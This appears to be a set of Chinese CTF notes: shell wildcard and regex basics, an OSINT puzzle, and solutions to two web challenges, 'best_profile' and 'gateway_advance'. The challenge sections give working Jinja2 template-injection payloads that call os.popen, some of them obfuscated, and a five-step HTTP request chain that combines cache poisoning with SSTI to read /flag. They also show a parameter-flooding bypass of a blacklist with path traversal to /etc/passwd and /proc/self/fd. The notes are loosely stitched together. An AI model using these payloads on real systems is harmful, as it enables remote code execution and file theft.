linux不解析通配符
一、基础通配符(适用于命令行、文件操作)
这些通配符在 Linux/macOS 的 Bash 终端、Windows 的命令提示符(CMD)或 PowerShell 中常用,主要用于匹配文件名。
\*
(星号)
- 匹配 任意长度的任意字符(包括空字符)。
- 示例:
*.txt
:匹配所有以.txt
结尾的文件(如a.txt
、b123.txt
)。file*
:匹配所有以file
开头的文件(如file
、file1
、file.txt
)。*doc*
:匹配文件名中包含doc
的文件(如readme.doc
、mydoc.pdf
)。?
(问号)
- 匹配 单个任意字符(必须有一个字符,不能匹配空)。
- 示例:
file?.txt
:匹配file1.txt
、fileA.txt
(文件名中file
后有 1 个字符),但不匹配file.txt
(少一个字符)或file12.txt
(多一个字符)。?.log
:匹配a.log
、1.log
(仅 1 个字符 +.log
)。[]
(方括号)
- 匹配 括号内指定的任意一个字符,支持范围表示。
- 规则:
[abc]
:匹配a
、b
、c
中的任意一个字符。[0-9]
:匹配 0-9 中的任意一个数字(范围用-
分隔)。[a-z]
:匹配小写字母 a-z。[^abc]
或[!abc]
:匹配 不在括号内 的任意一个字符(取反,^
或!
为取反符号)。- 示例:
file[0-5].txt
:匹配file0.txt
到file5.txt
。[A-Z]*.pdf
:匹配以大写字母开头的 PDF 文件(如Report.pdf
)。file[!0-9].txt
:匹配fileA.txt
、file_.txt
,但不匹配file1.txt
。{}
(花括号)
- 用于 生成多个字符串组合,不做匹配,而是直接展开为括号内的所有项。
- 示例:
file{1,2,3}.txt
:展开为file1.txt file2.txt file3.txt
(可用于批量创建或操作文件)。{a,b}*{x,y}
:展开为a*x a*y b*x b*y
(结合*
时先展开再匹配)。二、正则表达式中的通配符(扩展匹配)
在编程(如 Python、JavaScript)、文本搜索(如
grep
命令)中,正则表达式的通配符功能更强大,需注意与基础通配符的区别:
.
(点号)
- 匹配 单个任意字符(类似
?
,但在正则中更常用)。- 示例:
a.b
匹配aab
、a1b
、a@b
(中间任意一个字符)。.\*
(点星组合)
- 匹配 任意长度的任意字符(类似
*
,但在正则中是贪婪匹配,尽可能多匹配)。- 示例:
a.*b
匹配a123b
、aXyZb
(a
和b
之间的所有字符)。^
和$
(锚点)
^
:匹配字符串的 开头(如^hello
匹配以hello
开头的字符串)。$
:匹配字符串的 结尾(如world$
匹配以world
结尾的字符串)。- 示例:
^abc$
仅匹配字符串abc
(精确匹配,开头和结尾无其他字符)。\d
、\w
、\s
(预定义字符类)
\d
:匹配任意数字(等价于[0-9]
)。\w
:匹配字母、数字或下划线(等价于[a-zA-Z0-9_]
)。\s
:匹配空白字符(空格、制表符\t
、换行符\n
等)。- 示例:
\d{3}
匹配 3 个连续数字(如123
、456
)。三、通配符的使用场景
命令行操作
- 批量删除文件:
rm *.tmp
(删除所有.tmp
临时文件)。- 批量复制:
cp photo_?.jpg ./backup/
(复制photo_1.jpg
、photo_2.jpg
到backup
文件夹)。- 搜索文件:
ls [A-Z]*
(列出所有大写字母开头的文件)。编程中的字符串匹配
在 Python 中用
re
模块(正则表达式):
python
运行
import re if re.match(r'file\d+\.txt', 'file123.txt'): print("匹配成功") # 输出:匹配成功(\d+ 匹配1个以上数字)
文件搜索工具
- 如
grep
命令:grep 'error.*2023' log.txt
(搜索日志中包含error
且后面跟2023
的行)。四、注意事项
不同环境的差异
- Windows 的 CMD 中,
*
和?
用法与 Linux 类似,但不支持[]
范围匹配;PowerShell 则支持更多通配符(如[]
、*
、?
)。- 正则表达式中的
*
与命令行的*
不同:正则中*
表示 “前面的字符重复 0 次或多次”(如ab*
匹配a
、ab
、abb
),而命令行中*
是独立的通配符。转义字符
若要匹配通配符本身(如文件名含
*
),需用转义符
\
(Linux)或
^
(Windows CMD),例如:
- Linux:
ls \*.txt
(匹配文件名就是*.txt
的文件)。- Windows CMD:
dir ^*.txt
(同上)。
https://su-team.cn/posts/e3fd1be7.html#gogogo-chu-fa-lou
赛博侦探
点开九子夺嫡视频
url为
https://www.bilibili.com/video/BV1tT421e7r3/?from_url=http://223.112.5.141:64601/secret/find_my_password&buvid=XU729158D436618067C9318686801E96CB45D&from_spmid=tm.recommend.0.0&is_story_h5=false&p=1&plat_id=116&share_from=ugc&share_medium=android&share_plat=android&share_session_id=422b97e2-06ad-4b22-a034-6f23ac237e51&share_source=COPY&share_tag=s_i&spmid=united.player-video-detail.0.0×tamp=1751785740&unique_k=CB6R8pq&up_id=552601798
即为http://223.112.5.141:64601/secret/find_my_password
通过doc属性可知邮箱为leland@l3hsec.com,英文名为leland
接着根据离羽毛球馆的距离查店铺位置,可推其经纬度为114.175,30.623
通过扫码知航班为MU5399
因是从武汉出发,故老家为福州
best_profile
X-Forwarded-For: 客户端原始IP, 代理1IP, 代理2IP, ...
- 第一个 IP 为客户端真实 IP,后续为请求经过的代理 IP。
- 示例:
客户端(192.168.1.100
)→ 代理 A(10.0.0.1
)→ 代理 B(203.0.113.5
)→ 后端服务器,请求头为:X-Forwarded-For: 192.168.1.100, 10.0.0.1, 203.0.113.5
- 格式:单个主机名(或 IP + 端口,端口可选)
X-Forwarded-Host: 客户端访问的原始域名[:端口]
- 背景:
当请求经过代理时,代理会与后端服务器建立新连接,此时后端服务器收到的Host
头可能被代理修改为后端服务器自身的地址(如代理配置的后端服务域名)。X-Forwarded-Host
用于保留客户端最初请求的Host
信息。- 示例:
客户端访问https://www.example.com
,请求经代理转发到后端服务器10.0.0.10
,代理会:
- 将请求的
Host
头改为10.0.0.10
(后端服务器地址);- 同时添加
X-Forwarded-Host: www.example.com
,告知后端服务器用户实际访问的是www.example.com
。
X-Forwarded-Host 与 Host 的区别
- Host 头部:
是 HTTP 协议标准头部,由客户端(如浏览器)发送,用于指定请求的目标服务器的域名或 IP 地址及端口,是服务器识别自身应处理哪个站点请求的核心依据(尤其在虚拟主机场景)。例如,访问https://example.com/path
时,Host 头部通常为example.com
。- X-Forwarded-Host 头部:
是非标准但广泛使用的扩展头部,由反向代理服务器(如 Nginx、Apache 等)添加,用于传递客户端原始请求中的 Host 信息。当请求经过代理服务器转发到后端服务器时,后端服务器通过该头部可获取客户端最初请求的目标域名,而非代理服务器的地址。核心差异
头部 发送方 作用 典型场景 Host 客户端 指示请求的目标服务器域名 / IP 直接向服务器发起请求 X-Forwarded-Host 反向代理服务器 传递客户端原始请求的 Host 信息 存在代理的多层网络架构 例如,客户端请求
https://proxy.com
(代理服务器),实际转发到后端backend.com
,此时:
客户端发送的 Host 为
proxy.com
代理服务器添加 X-Forwarded-Host 为
proxy.com
,后端服务器通过它可知客户端原始目标1. X-Forwarded-For
作用:
记录客户端的原始 IP 地址以及请求经过的所有代理服务器的 IP 地址。
当请求经过多层代理(如客户端 → 代理服务器 A → 代理服务器 B → 后端服务器)时,后端服务器默认只能看到最后一个代理的 IP,而X-Forwarded-For
可以追溯完整的请求路径。格式:
逗号分隔的 IP 地址列表,第一个地址是客户端原始 IP,后续是各级代理的 IP。
例如:X-Forwarded-For: 192.168.1.100, 10.0.0.1, 172.16.0.2
192.168.1.100
:客户端真实 IP10.0.0.1
:第一级代理 IP172.16.0.2
:第二级代理 IP2. X-Forwarded-Host
作用:
记录客户端请求的原始 Host 头部(即客户端访问的域名或 IP)。
当请求经过反向代理时,代理服务器通常会修改Host
头部(例如指向后端服务器的内部地址),而X-Forwarded-Host
用于保留客户端最初请求的 Host 信息。
- 利用缓存键(Cache Key)设计缺陷
缓存服务器通常根据请求的部分信息(如 URL、Host 头、特定请求参数等)生成 “缓存键”,用于标识唯一资源。若缓存键未包含某些关键参数(如未验证的用户输入、特殊 HTTP 头),攻击者可构造包含恶意内容的请求,使缓存将恶意内容与正常 URL 关联。
例如:若缓存仅根据URL
生成键,而忽略X-Forwarded-Host
头,攻击者可发送包含恶意X-Forwarded-Host
的请求,使缓存将恶意脚本与正常 URL 绑定,其他用户访问该 URL 时会加载恶意脚本。- 注入恶意代码到可缓存资源
若源服务器对用户输入过滤不严,攻击者可提交包含恶意代码(如 XSS 脚本、恶意 JS)的内容,并诱导缓存服务器将其作为 “静态资源”(如.js
、.css
文件)缓存。当其他用户加载该资源时,恶意代码会被执行。
例如:在用户可控的动态页面中注入恶意 JS,若该页面被缓存,所有访问者都会触发 JS 执行。- 利用 HTTP 响应头漏洞
若源服务器返回的响应头包含错误的缓存控制信息(如Cache-Control: public
,允许缓存),或缓存服务器忽略了源服务器的缓存限制(如no-cache
),攻击者可通过构造请求,使恶意内容被长期缓存。
1.
render_template
的安全特性
自动转义
:默认对变量输出进行 HTML 转义,防止 XSS 攻击。
<!-- 模板文件 index.html --> <p>Hello, {{ name }}!</p> <!-- 当 name = '<script>alert(1)</script>' 时 --> <!-- 输出结果:<p>Hello, <script>alert(1)</script>!</p> -->
沙箱环境:模板中无法直接访问 Python 全局对象(如
os
、sys
),限制代码执行能力。2.
render_template_string
的风险
直接执行模板代码
:字符串中的任何 Jinja2 语法都会被执行。
template = "{{ 1+1 }}" # 计算表达式 render_template_string(template) # 输出 "2" # 危险示例:执行任意 Python 代码 payload = "{{ request.application.__globals__['os'].popen('id').read() }}" render_template_string(payload) # 执行系统命令并返回结果
import os
import re
import random
import string
import requests
from flask import (
Flask,
render_template,
request,
redirect,
url_for,
render_template_string,
)
from flask_sqlalchemy import SQLAlchemy
from flask_login import (
LoginManager,
UserMixin,
login_user,
login_required,
logout_user,
current_user,
)
from sqlalchemy.orm import DeclarativeBase
from sqlalchemy.orm import Mapped, mapped_column
from werkzeug.security import generate_password_hash, check_password_hash
from werkzeug.middleware.proxy_fix import ProxyFix
import geoip2.database
class Base(DeclarativeBase):
pass
db = SQLAlchemy(model_class=Base)
class User(db.Model, UserMixin):
id: Mapped[int] = mapped_column(primary_key=True)
username: Mapped[str] = mapped_column(unique=True)
password: Mapped[str] = mapped_column()
bio: Mapped[str] = mapped_column()
last_ip: Mapped[str] = mapped_column(nullable=True)
def set_password(self, password):
self.password = generate_password_hash(password)
def check_password(self, password):
return check_password_hash(self.password, password)
def __repr__(self):
return "<User %r>" % self.name
app = Flask(__name__)
app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///data.db"
app.config["SECRET_KEY"] = os.urandom(24)
app.wsgi_app = ProxyFix(app.wsgi_app)
db.init_app(app)
with app.app_context():
db.create_all()
login_manager = LoginManager(app)
def gen_random_string(length=20):
return "".join(random.choices(string.ascii_letters, k=length))
@login_manager.user_loader
def load_user(user_id):
user = User.query.get(int(user_id))
return user
@app.route("/login", methods=["GET", "POST"])
def route_login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if not username or not password:
return "Invalid username or password."
user = User.query.filter_by(username=username).first()
if user and user.check_password(password):
login_user(user)
return redirect(url_for("route_profile", username=user.username))
else:
return "Invalid username or password."
return render_template("login.html")
@app.route("/logout")
@login_required
def route_logout():
logout_user()
return redirect(url_for("index"))
@app.route("/register", methods=["GET", "POST"])
def route_register():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
bio = request.form["bio"]
if not username or not password:
return "Invalid username or password."
user = User.query.filter_by(username=username).first()
if user:
return "Username already exists."
user = User(username=username, bio=bio)
user.set_password(password)
db.session.add(user)
db.session.commit()
return redirect(url_for("route_login"))
return render_template("register.html")
@app.route("/<string:username>")
def route_profile(username):
user = User.query.filter_by(username=username).first()
return render_template("profile.html", user=user)
@app.route("/get_last_ip/<string:username>", methods=["GET", "POST"])
def route_check_ip(username):
if not current_user.is_authenticated:
return "You need to login first."
user = User.query.filter_by(username=username).first()
if not user:
return "User not found."
return render_template("last_ip.html", last_ip=user.last_ip)
geoip2_reader = geoip2.database.Reader("GeoLite2-Country.mmdb")
@app.route("/ip_detail/<string:username>", methods=["GET"])
def route_ip_detail(username):
res = requests.get(f"http://127.0.0.1/get_last_ip/{username}")
if res.status_code != 200:
return "Get last ip failed."
last_ip = res.text
try:
ip = re.findall(r"\d+\.\d+\.\d+\.\d+", last_ip)
country = geoip2_reader.country(ip)
except (ValueError, TypeError):
country = "Unknown"
template = f"""
<h1>IP Detail</h1>
<div>{last_ip}</div>
<p>Country:{country}</p>
"""
return render_template_string(template)
@app.route("/")
def index():
return render_template("index.html")
@app.after_request
def set_last_ip(response):
if current_user.is_authenticated:
current_user.last_ip = request.remote_addr
db.session.commit()
return response
if __name__ == "__main__":
app.run()
此路由二次渲染last_ip,如果last_ip可控会造成模板注入
@app.route("/ip_detail/<string:username>", methods=["GET"])
def route_ip_detail(username):
res = requests.get(f"http://127.0.0.1/get_last_ip/{username}")
if res.status_code != 200:
return "Get last ip failed."
last_ip = res.text
try:
ip = re.findall(r"\d+\.\d+\.\d+\.\d+", last_ip)
country = geoip2_reader.country(ip)
except (ValueError, TypeError):
country = "Unknown"
template = f"""
<h1>IP Detail</h1>
<div>{last_ip}</div>
<p>Country:{country}</p>
"""
return render_template_string(template)
应用使用了ProxyFix中间件
from werkzeug.middleware.proxy_fix import ProxyFix
app.wsgi_app = ProxyFix(app.wsgi_app)
ProxyFix中间件的作用是从代理服务器传递的请求头中获取客户端的真实IP地址。当请求经过代理(如Nginx)时,原始客户端的IP会被保存在X-Forwarded-For头中。通过设置ProxyFix中间件,Flask的request.remote_addr将不再使用直接连接的客户端IP(通常是代理服务器的IP),而是使用X-Forwarded-For请求头中的IP地址。
X-Forwarded-For: 127.0.0.1 {%set ca=e|slice(16)|string|batch(16)|first|last+e|slice(7)|string|batch(7)|first|last+e|slice(8)|string|batch(8)|first|last+e|slice(11)|string|batch(11)|first|last+cycler.__doc__[697]+e|pprint|lower|batch(5)|first|last+e|slice(28)|string|batch(28)|first|last+e|slice(7)|string|batch(7)|first|last+e|slice(2)|string|batch(2)|first|last%}{{(sbwaf.__eq__.__globals__.sys.modules.os.popen(ca)).read()}}
配置文件中有如下内容
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ {
proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
proxy_pass http://127.0.0.1:5000;
proxy_cache static;
proxy_cache_valid 200 302 30d;
}
location ~ .*\.(js|css)?$ {
proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
proxy_pass http://127.0.0.1:5000;
proxy_cache static;
proxy_cache_valid 200 302 12h;
}
current_user.last_ip = request.remote_addr
于是要记得访问”/xxx.js
“
@app.after_request
def set_last_ip(response):
# 检查用户是否已登录(通过 Flask-Login 的 current_user 实现)
if current_user.is_authenticated:
# 将当前请求的客户端 IP 记录为用户的 last_ip
current_user.last_ip = request.remote_addr
# 提交数据库会话,保存修改
db.session.commit()
# 返回响应(不改变原始响应内容)
return response
服务器设置了缓存所有以.js结尾的响应,同时注册功能没有限制用户名中的特殊字符,这使得我们可以构造特殊的用户名,例如:username.js。当我们注册完成后先向/
发送带有X-Forwarded-For:xxx
的请求,再向/get_last_ip/username.js
发送请求,服务器返回的响应会被缓存,无论接下来的请求是否携带cookie,只要路径相同,返回的结果都会是相同的。/ip_detail
路由内部向/get_last_ip
发送的请求即使不携带cookie也会返回我们给予的last_ip。
X-Forwarded-For: {{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
X-Forwarded-For: {{ config.__class__.__init__.__globals__[request.args.os].popen(request.args.a).read() }}
五步走
1、
POST /register HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 50
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8081
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8081/register
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwljjEOAjEMBP_imsJO7MS5zyDHsQUS1Z2oEH8nEsU2u7PSfOCeZ1wPONJeV9zg_lxwgDsqE7P5dJlEiJ5O04tkzbYjYtNKtuWqWpBMBorVFsYx2mDBhYu7UlJ4MO3XzBDtuos9CK2hSLP3rIQlzZEEN4EpdTBskfcV599G4fsDIoovpA.aHXdQg.gjgdpHxTZo4pCAURSMOuKxTS8uA
Connection: keep-alive
username=user14.gif&password=1&bio=1&submit=Sign+Up
2、
POST /login HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 39
X-Forwarded-For: {{ config.__class__.__init__.__globals__[request.args.os].popen(request.args.a).read() }}
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8081
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8081/login
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
username=user14.gif&password=1&submit=Log+In
3、(没有也行)
GET /user14.gif HTTP/1.1
Host: 127.0.0.1:8081
X-Forwarded-For: {{ config.__class__.__init__.__globals__[request.args.os].popen(request.args.a).read() }}
Cookie:{{Cookie}}
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
4、(检查)
GET /get_last_ip/user14.gif HTTP/1.1
Host: 127.0.0.1:8081
X-Forwarded-For: {{ config.__class__.__init__.__globals__[request.args.os].popen(request.args.a).read() }}
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwljjEOAjEMBP_imsJO7MS5zyDHsQUS1Z2oEH8nEsU2u7PSfOCeZ1wPONJeV9zg_lxwgDsqE7P5dJlEiJ5O04tkzbYjYtNKtuWqWpBMBorVFsYx2mDBhYu7UlJ4MO3XzBDtuos9CK2hSLP3rIQlzZEEN4EpdTBskfcV59-GEL4_UgMvzQ.aHXh4g.HH_RTaBH9nTKqiAAYooVAu2G1VQ
Connection: keep-alive
5、GET /ip_detail/user14.gif?os=os&a=cat%20/flag HTTP/1.1
Host: 127.0.0.1:8081
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwljjEOAjEMBP_imsJO7MS5zyDHsQUS1Z2oEH8nEsU2u7PSfOCeZ1wPONJeV9zg_lxwgDsqE7P5dJlEiJ5O04tkzbYjYtNKtuWqWpBMBorVFsYx2mDBhYu7UlJ4MO3XzBDtuos9CK2hSLP3rIQlzZEEN4EpdTBskfcV59-GEL4_UgMvzQ.aHXh4g.HH_RTaBH9nTKqiAAYooVAu2G1VQ
Connection: keep-alive
gateway_advance
worker_processes 1;
events {
use epoll;
worker_connections 10240;
}
http {
include mime.types;
default_type text/html;
access_log off;
error_log /dev/null;
sendfile on;
init_by_lua_block {
f = io.open("/flag", "r")
f2 = io.open("/password", "r")
flag = f:read("*all")
password = f2:read("*all")
f:close()
password = string.gsub(password, "[\n\r]", "")
os.remove("/flag")
os.remove("/password")
}
server {
listen 80 default_server;
location / {
content_by_lua_block {
ngx.say("hello, world!")
}
}
location /static {
alias /www/;
access_by_lua_block {
if ngx.var.remote_addr ~= "127.0.0.1" then
ngx.exit(403)
end
}
add_header Accept-Ranges bytes;
}
#local blacklist = {"%.", "/", ";", "flag", "proc"}
#定义敏感字符 / 关键词黑名单:
#%.(点号,转义是因为.在 Lua 模式匹配中是通配符)和 /(斜杠):防止路径遍历攻击(如 ../ 访问上级目录)。
#;(分号):防止命令注入(如拼接系统命令)。
#flag、proc:CTF 中常见的敏感关键词(flag 是目标文件,proc 对应 Linux /proc 进程目录,可能泄露系统信息)。
#local args = ngx.req.get_uri_args()
#获取 URL 中的查询参数(如 ?filename=test.txt 中的 filename 和 test.txt)。
#for k, v in pairs(args) do
#遍历所有查询参数(k 是参数名,v 是参数值,支持多值参数如 ?a=1&a=2)。
#for _, b in ipairs(blacklist) do
#嵌套遍历黑名单中的每个敏感字符 b。
#if string.find(v, b) then ngx.exit(403)
#检查参数值 v 中是否包含 b,若包含则立即返回 403 禁止访问(拦截恶意请求)。
location /download {
access_by_lua_block {
local blacklist = {"%.", "/", ";", "flag", "proc"}
local args = ngx.req.get_uri_args()
for k, v in pairs(args) do
for _, b in ipairs(blacklist) do
if string.find(v, b) then
ngx.exit(403)
end
end
end
}
add_header Content-Disposition "attachment; filename=download.txt";
proxy_pass http://127.0.0.1/static$arg_filename;
#将当前 /download 请求转发到本地(127.0.0.1)的 /static 路径,并拼接查询参数 filename 的值。
#例如:若请求为 http://xxx/download?filename=file.txt,则实际转发到 http://127.0.0.1/static/file.txt。
#结合前文配置,/static 路径映射到服务器本地的 /www/ 目录,且仅允许本地 IP 访问,因此该代理实现了 “外部通过 /download 间接访问 /static 资源” 的逻辑。
body_filter_by_lua_block {
local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"}
for _, b in ipairs(blacklist) do
if string.find(ngx.arg[1], b) then
#ngx.arg[1] 是响应体的片段(因 Nginx 处理响应是流式的,可能分多次处理)。
ngx.arg[1] = string.rep("*", string.len(ngx.arg[1]))
#过滤逻辑按数据块处理而非整体处理.当只读取1字节时,不可能包含完整敏感词(如"password"=8字节)单字节响应永远不会触发过滤
end
end
}
}
location /read_anywhere {
access_by_lua_block {
if ngx.var.http_x_gateway_password ~= password then
ngx.say("go find the password first!")
ngx.exit(403)
end
}
content_by_lua_block {
local f = io.open(ngx.var.http_x_gateway_filename, "r")
if not f then
ngx.exit(404)
end
local start = tonumber(ngx.var.http_x_gateway_start) or 0
local length = tonumber(ngx.var.http_x_gateway_length) or 1024
if length > 1024 * 1024 then
length = 1024 * 1024
end
f:seek("set", start)
local content = f:read(length)
f:close()
ngx.say(content)
ngx.header["Content-Type"] = "application/octet-stream"
}
}
}
}
/download?&a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a=information_schemas&filename=../etc/passwd
/proc
文件系统/proc
是 Linux 系统中的虚拟文件系统,用于提供进程和系统内核的实时信息,并非实际存储在磁盘上。其中每个以数字命名的子目录(如/proc/1
)对应一个进程的 ID(PID),包含该进程的详细信息(如内存、文件描述符、环境变量等)。
/proc/[PID]/fd
目录
每个进程的/proc/[PID]/fd
目录下,会以数字(0、1、2、3…)命名的符号链接,每个链接对应进程当前打开的一个文件描述符。例如:
0
:标准输入(stdin)1
:标准输出(stdout)2
:标准错误(stderr)- 3 及以上:进程打开的其他文件、网络连接、管道等。
/proc/1/fd/6
1
是进程 ID,通常对应系统初始化进程(如systemd
),负责启动和管理系统服务。6
是该进程打开的第 6 个文件描述符,具体指向什么内容取决于进程的行为(可能是某个配置文件、日志文件、管道或网络套接字等)。
/proc/self
的含义/proc/self
是一个动态符号链接,始终指向当前正在访问该路径的进程自身的/proc/[PID]
目录(例如,当进程 A 访问/proc/self
时,它等价于/proc/[A的PID]
)。这使得进程可以无需知道自身 PID 即可访问自己的信息。
mem
文件的作用/proc/self/mem
以二进制形式直接映射当前进程的虚拟内存空间,允许进程通过读写该文件来直接操作自身的内存数据(如修改变量值、注入代码等)。
- 读操作:可获取内存中指定地址的数据(需知道具体内存地址,且该地址必须是进程可访问的)。
- 写操作:可修改内存中指定地址的数据(同样受进程权限和内存保护机制限制,如只读内存页无法写入)。
GET /download?&a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a=information_schemas&filename=../proc/self/fd/6 HTTP/1.1
Host: 1.95.8.146:17794
Range: bytes=23-49
dsoneverwannagiveyouup
依次弄一下,得到
passwordismemeispasswordsoneverwannagiveyouup
在 Linux 系统中,
/proc/self/maps
是一个特殊的伪文件,用于展示当前进程(self
指代访问该文件的进程自身)的内存映射信息。它记录了进程地址空间中所有的内存区域(如代码段、数据段、堆、栈、共享库、映射文件等)的详细信息,是分析进程内存布局的重要工具。文件内容格式
/proc/self/maps
的每一行对应进程中的一个内存区域,格式如下(以典型行为例):55f8d7a00000-55f8d7a02000 r--p 00000000 08:01 1234567 /usr/bin/ls
各字段含义从左到右依次为:
- 内存地址范围(
55f8d7a00000-55f8d7a02000
)
该内存区域在进程虚拟地址空间中的起始地址和结束地址(十六进制),表示此区域占用的地址范围。- 权限标志(
r--p
)
4 个字符分别表示:
- 第 1 位:
r
(可读)、-
(不可读)- 第 2 位:
w
(可写)、-
(不可写)- 第 3 位:
x
(可执行)、-
(不可执行)- 第 4 位:
p
(私有内存,如进程堆、栈)、s
(共享内存,如共享库、匿名共享映射)- 偏移量(
00000000
)
该内存区域对应的文件在磁盘上的偏移量(十六进制)。若为匿名映射(如堆、栈),此值通常为0
。- 设备号(
08:01
)
映射文件所在的设备标识符(主设备号:次设备号),匿名映射(如堆、栈)此处为00:00
。- inode 号(
1234567
)
映射文件的 inode 编号,匿名映射此处为0
。- 映射来源(
/usr/bin/ls
)
内存区域的来源:
- 若为文件映射,显示文件路径(如可执行文件、共享库、普通文件)。
- 若为匿名映射,可能显示
[heap]
(堆)、[stack]
(栈)、[anon]
(匿名内存)等。
init_by_lua_block {
# 在最后加上一段
print(tostring(flag))
#tostring(flag):将 Lua 变量 flag 转换为字符串(若 flag 本身是字符串则直接返回)。
#print(...):输出到 Nginx 的错误日志(通常为 /var/log/nginx/error.log,但配置中已定向到 /dev/null)。
local ffi = require("ffi")
local ptr = ffi.cast("const char*", flag)
#require("ffi"):加载 LuaJIT 的 FFI 模块,该模块允许 Lua 代码直接调用 C 函数和操作 C 数据类型。
#ffi.cast("const char*", flag):将 Lua 字符串 flag 转换为 C 风格的只读字符指针(const char*)。
#关键点:LuaJIT 在内存中会将字符串存储为连续的字节数组,通过 FFI 可获取该数组的起始地址。
